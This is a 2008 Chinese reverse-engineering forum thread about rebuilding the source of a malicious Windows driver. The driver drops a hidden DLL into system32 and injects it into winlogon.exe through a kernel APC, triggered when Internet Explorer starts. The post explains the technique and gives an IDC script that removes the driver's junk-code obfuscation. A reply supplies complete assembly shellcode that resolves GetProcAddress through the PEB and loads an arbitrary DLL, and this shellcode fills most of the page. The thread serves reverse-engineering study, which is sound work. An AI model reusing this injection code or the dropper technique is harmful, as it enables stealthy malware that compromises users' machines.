前言:
一直很向往进入Debugman论坛的RCT这个核心团队,但自己水平有限,最后没有过关. 
 
呵呵,不过俺从中学到了很多东西,于是发此帖分享一下学习成果;也顺便请教各位大牛,希望您有时间的话,逆一份更加好的code.偶逆的这份code虽然大致实现了原来驱动的功能,但写的毕竟很粗糙,希望有逆向经验的同学能给予部分提示和指导,偶也能从中总结经验和教训,争取在短时间内提高自己,以便下次再申请加入RCT.
 
 
正文:

/*****************************************************************************************************************
* AUTHOR : sudami [sudami@163.com]
* TIME : 2008/06/05

* Command: 
*
这份code是完成XIKUG给的题目:“逆向fuck.sys,给出源码,编译成功,替换原驱动的功能”
* code已经基本实现了原驱动的功能,部分瑕疵有:
*
* 1. 驱动卸载时候会BSOD, 和加进来的DLL资源有关. 不加DLL资源,则可正常加载卸载.
* 2. 驱动中包含的DLL未用XOR加密,故释放DLL时不用解密.但解密部分的code保留
* 3. DLL加载后,偶没有调用DeleteFileW来删除这个DLL,保留这个功能; 调用LoadLirary
经过长久思考,换回原来的硬编码. 动态获取其地址的code保留.可运行.

*
* Description:
*
* ------ 原驱动的功能 ------
* 1. 驱动入口; 解密出“ImagePath”;在注册表得到自身的全路径;读取自身文件;定位到SYS最后一个节的
结束处;获取一个DOWRD的DLL文件大小,偏移后开始解密DLL,将获取的数据存放的申请的非分页内存中;
写DLL到\SYSTEMROOT\SYSTEM32\winlib .dll.
* [sudami注:这里有个小技巧,为防止同名不可删除文件干扰DLL的释放,作者进行了判断,winlib0.dll ~ winlib10.dll]
*
* 2. 映射kernel32.dll到内存,搜索EAT得到个函数的地址- 
* LoadLibraryA 、GetSystemDirectoryW 、lstrcatW 、DeleteFileA

* 3. 进入正常的驱动流程IoCreateDevice、IoCreateSymbolicLink
*
* 4. 调用IoCreateNotificationEvent创建事件对象\\BaseNamedObjects\\UID_1329147602_MIEEvent,
负责激活等待的系统线程; PsSetCreateProcessNotifyRoutine检测进程的创建
*
* 5. PsCreateSystemThread创建线程.它完成的功能如下:
遍历ActiveProcessLinks链表找到winlogon.exe,从中找一个可插APC的线程;初始化APC,插入之.
路径为SYSTEMROOT\SYSTEM32\winlib.dll.调用loadlibrary来加载这个DLL.,而后等待事件的触发...
当检测到IE启动时,设置事件对象为受信状态, 激活等待的线程,释放掉EVENT占用的内存,再释放掉MDL.
* DLL加载完成后会被删除. 
* [sudami注:原作者这个的EVENT估计是和R3进行通讯用的,在这里保留其功能]

* ------ 总结 ------ 
总的来说,驱动的主要功能便是"释放DLL,插APC加载DLL".
* 1. 刚开始调试时不知如何下手,因为驱动加了很多花,IDA基本看不到内容,而偶第一次接触到驱动加花,一时很头大; 
*
* 2. 脑子里想着如何去花,若能动态调试,先不去花也能看看驱动的基本流程了,抱着这个想法,偶拿起不熟悉的windbg
双机调试起来,弄了大半会儿效果不好,换用softice,无奈偶不是很熟悉,再换用syser,另偶感到郁闷的是load该驱动
总是失败,MS带反调试???然后暂时放弃了动态调试的方式
*
* 3. 再google一看,发现winhex或者IDC很好去掉.于是开始琢磨起来,无奈编写IDC第一次接触,无太多的时间用它来去花,
索性拿起不怎么熟悉的winhex,很好很强大; 于是偶拿着IDA 和winhex,开始漫长的去花过程,由于偶太菜,去花用了
* 2天时间,而且没有去全,不过此时得到的IBD已经很明晰了,偶也从中学到了不少东西;
*
* 4. 此时才开始正式的逆向还原code工作.其实有了F5,只是方便了一点儿,大部分的时间还得自己编写调试code.断断续续
的调试了天(期间有专业实习,实验报告,公司实习等,时间不是很充裕),遇到了一个又一个障碍. 比如:
* R0插APC加载DLL 、释放DLL到系统目录、加资源到SYS文件末尾、驱动加花、...
*
* 5. 好在问题都被一一化解,从中偶又学到了学多偶以前不熟悉的知识.感觉逆向很能锻炼一个人的耐心和解决问题的能力.
*
* ------ 后记 ------ 
感谢XIKUG给俺这次机会,偶非常希望进入RCT这个核心团队; 虽然这次逆的code很粗糙,但偶相信以后会越来越熟练,写出来
的code也一定越来越完善.
*
* Copyright (c) 2008 sudami.
* Freely distributable in source or binary for noncommercial purposes.
* This is not a virus, So take it easy, just for fun.
*
*****************************************************************************************************************/
 
总结几点:
1. 驱动去花
偶碰到的这个驱动,加花代码如下:
代码:
jz @F jnz @F  db 0E8h
  @@:
 
 
在IDA的图片如下:


 
故若用winhex,可先在IDA中定位到这段花,复制其2进制文件,再到winhex查找替换为nop即可。不过这种方式实在是体力活,有去花经验的同学可以编写IDC脚本进行去除操作。基本思路如下:
代码:
 

#include <idc.idc>    
static main() {
auto i,j,from,size;  from=0x401000; //起始地址,你指定一下 size=0x100;//扫描数据块大小
 
for ( i=0; i < size;i++ ) { 
 
//查找 0F 82 07 ?? ?? ??,替换90    if ((Byte(from)==0x0f)&&(Byte(from+1)==0x82)&&(Byte(from+2)==0x07))   {         for(j=0;j<5;j++)        {             PatchByte(from,0x90);             from++;          }          continue;     } //查找 0F 83 01 ?? ?? ??,替换90    if ((Byte(from)==0x0f)&&(Byte(from+1)==0x83)&&(Byte(from+2)==0x01))   {        for(j=0;j<5;j++)        {             PatchByte(from,0x90);             from++;          }          continue;     }       from++;  }  Message("\n" + "OK\n"); }
 
--------------------------------------------------------------------

2. 驱动加载DLL资源
和EXE类似,因为驱动加载后要释放出资源,所以偶这里有2种选择:
A.为SYS增加一个新节,在新节中添入DLL资源文件.重新计算校验和
B.在SYS最后一个节的结束处,即文件末尾添加资源文件.重新计算校验和
 

 
偶选择的是第2种.插入DLL资源前,驱动自由10.KB,加入后就变大了些:
 
当然,你也可以用PE-DIY等工具来为SYS增加新节,注意得按文件对齐来分配大小SYS加载时,读取自身文件,定位到资源处,解密后写入新文件即可.
 
3. 插APC加载DLL
其实和运行EXE差不多的原理,只不过把winexec换成了LoadLiraryA(W),最好不要用引编码,因为不干净的机器上可能会被安全软件修改.驱动中获得的函数地址,要放到事情的MDL中,因为APC执行时已经到了用户空间,不可能访问驱动中的全局变量..
 
逆向完后,编译运行,得到SYS,以下是运行效果:


 
上传的附件 逆向fuck.sys专题.rar [解压密码:pediy]

  • 标 题:答复
  • 作 者:cvcvxk
  • 时 间:2008-06-07 10:34

贴一段专业的LoadDLL的APC的shellcode算了~

代码:
__declspec(naked)
UserLoadDLL(
     PCHAR  DLLPath,
     PVOID  unused1,
     PVOID  unused2
     )
{
  __asm{
    push  ebp
      mov    ebp, esp
  }
  __asm{
    pushad
      sub    esp, 20 //存放得到的函数地址
      jmp    end
            
start:
        pop    edx                    // 指令表起始地址存放在  esp -> edx
      
      push  ebp//u 保存 下面这段程序用到了ebp
      
      // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
      //
      // 输入:
      // edx => 指令表起始地址 (不需要)
      //
      // 输出:
      // eax => kernel32.dll起始地址
      // edx => 指令表起始地址
      
      mov    eax, fs:0x30            // PEB 
      mov    eax, [eax + 0x0c]       // PROCESS_MODULE_INFO
      mov    esi, [eax + 0x1c]    // InInitOrder.flink
      lodsd
      mov    eax, [eax+8]
      
      // ========== 定位GetProcAddress的地址 ==========
      //
      // 输入:
      // eax => kernel32.dll起始地址
      // edx => 指令表起始地址
      //
      // 输出:
      // ebx => kernel32.dll起始地址
      // eax => GetProcAddress地址
      // edx => 指令表起始地址
      
      mov    ebx, eax              // 取kernel32.dll的起始地址
      mov    esi, dword ptr [ebx+0x3C]      //u 在e_lfanew中得到pe heAder
      mov    esi, dword ptr [esi+ebx+0x78]    //u export directory rvA
      add     esi, ebx          
      mov    edi, dword ptr [esi+0x20]      //u struct _IMAGE_EXPORT_DIRECTORY 中AddressOfNames; // RVA from base of image
      add    edi, ebx
      mov    ecx, dword ptr [esi+0x14]      //u AddressOfFunctions; // RVA from base of image
      xor    ebp, ebp
      push    esi
      
search_GetProcAddress:
        push    edi
      push    ecx
      mov    edi,dword ptr [edi]
      add    edi,ebx                // 把输出函数名表起始地址存人edi
      mov    esi,edx                // 指令表起始地址存入esi
      //mov    ecx,0Eh              // 函数getprocAddress长度为0Eh
      push    0xE
      pop    ecx
      repe    cmps byte ptr [esi],byte ptr [edi]
      je    search_GetProcAddress_ok
      
      pop    ecx
      pop    edi
      add    edi,4  ///
      inc    ebp
      loop  search_GetProcAddress
      
search_GetProcAddress_ok:
        pop    ecx   
      pop    edi
      pop    esi
      mov    ecx, ebp
      mov    eax, dword ptr [esi+24h]      //u AddressOfNameOrdinals; // RVA from base of image
      add    eax, ebx
      shl    ecx, 1
      add    eax, ecx
      xor    ecx, ecx
      mov    cx,  word ptr [eax]
      mov    eax, dword ptr [esi+1Ch]      //AddressOfFunctions; // RVA from base of image
      add    eax, ebx
      shl    ecx, 2
      add    eax, ecx
      mov    eax, dword ptr [eax]
      add    eax, ebx
      
      
      pop    ebp//u 保存
      //--------------------------------------------------------------------
      
      // ============ 调用函数解决api地址 ============
      //
      // 输入:
      // ebx =>kernel32.dll起始地址
      // eax =>GetProcAddress地址
      // edx =>指令表起始地址
      //
      // 输出:
      // edi =>函数地址base addr
      // esi =>指令表当前位置
      // edx =>GetProcAddress 地址
      
      mov    edi,edx
      mov    esi,edi
      add    esi,0xE            // 0xE 跳过1个字符串"GetProcAddress"
      
      // ============ 解决kernel32.dll中的函数地址 ============
      mov    edx,eax            // 把GetProcAddress 地址存放在edx    
      push    0x1              // 需要解决的函数地址的个数 硬编码可以节省两个字节
      pop    ecx
      mov    edi, esp          ///////// get some spAce to edi
      call    locator_api_addr  
      
      
      push  DLLPath
      call  dword ptr [edi-4]
      jmp    end_func
      
      //--------------------------------------------------------------------
      // ============ 解决api地址的函数 ============
      //
      // 输入参数:
      // ecx 函数个数
      // edx GetProcAddress 地址
      // ebx 输出函数的dll起始地址
      // esi 函数名表起始地址
      // edi 保存函数地址的起始地址
      
locator_api_addr:
        
locator_space:
        xor      eax, eax
      lodsb
      test    eax, eax                // 寻找函数名之间的空格x00
      jne      locator_space
      
      push    ecx
      push    edx
      
      push    esi                    // 函数名
      push    ebx                    // 输出函数的dll起始地址
      call    edx
      pop      edx
      pop      ecx
      stos    dword ptr [edi]
      loop    locator_space
      xor      eax, eax
      ret
      //--------------------------------------------------------------------
      
      // ==================  结束调用 ====================
end:
        call    start
      __emit 'G'
      __emit 'e'
      __emit 't'
      __emit 'P'
      __emit 'r'
      __emit 'o'
      __emit 'c'
      __emit 'A'
      __emit 'd'
      __emit 'd'
      __emit 'r'
      __emit 'e'
      __emit 's'
      __emit 's'
      __emit 0
      __emit 'L'
      __emit 'o'
      __emit 'a'
      __emit 'd'
      __emit 'd'
      __emit 'L'
      __emit 'i'
      __emit 'b'
      __emit 'r'
      __emit 'a'
      __emit 'r'
      __emit 'y'
      __emit 'A'
      __emit 0
      
end_func:
    add esp,20
      popad
  }
  __asm
  {
    mov esp,ebp
    pop ebp
    ret    
  }
}
//--------------------------------------------------------------------
__declspec(naked) UserLoadDLL_end(VOID)
{
  __asm{
    __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
      __emit 0
  }
  
  
}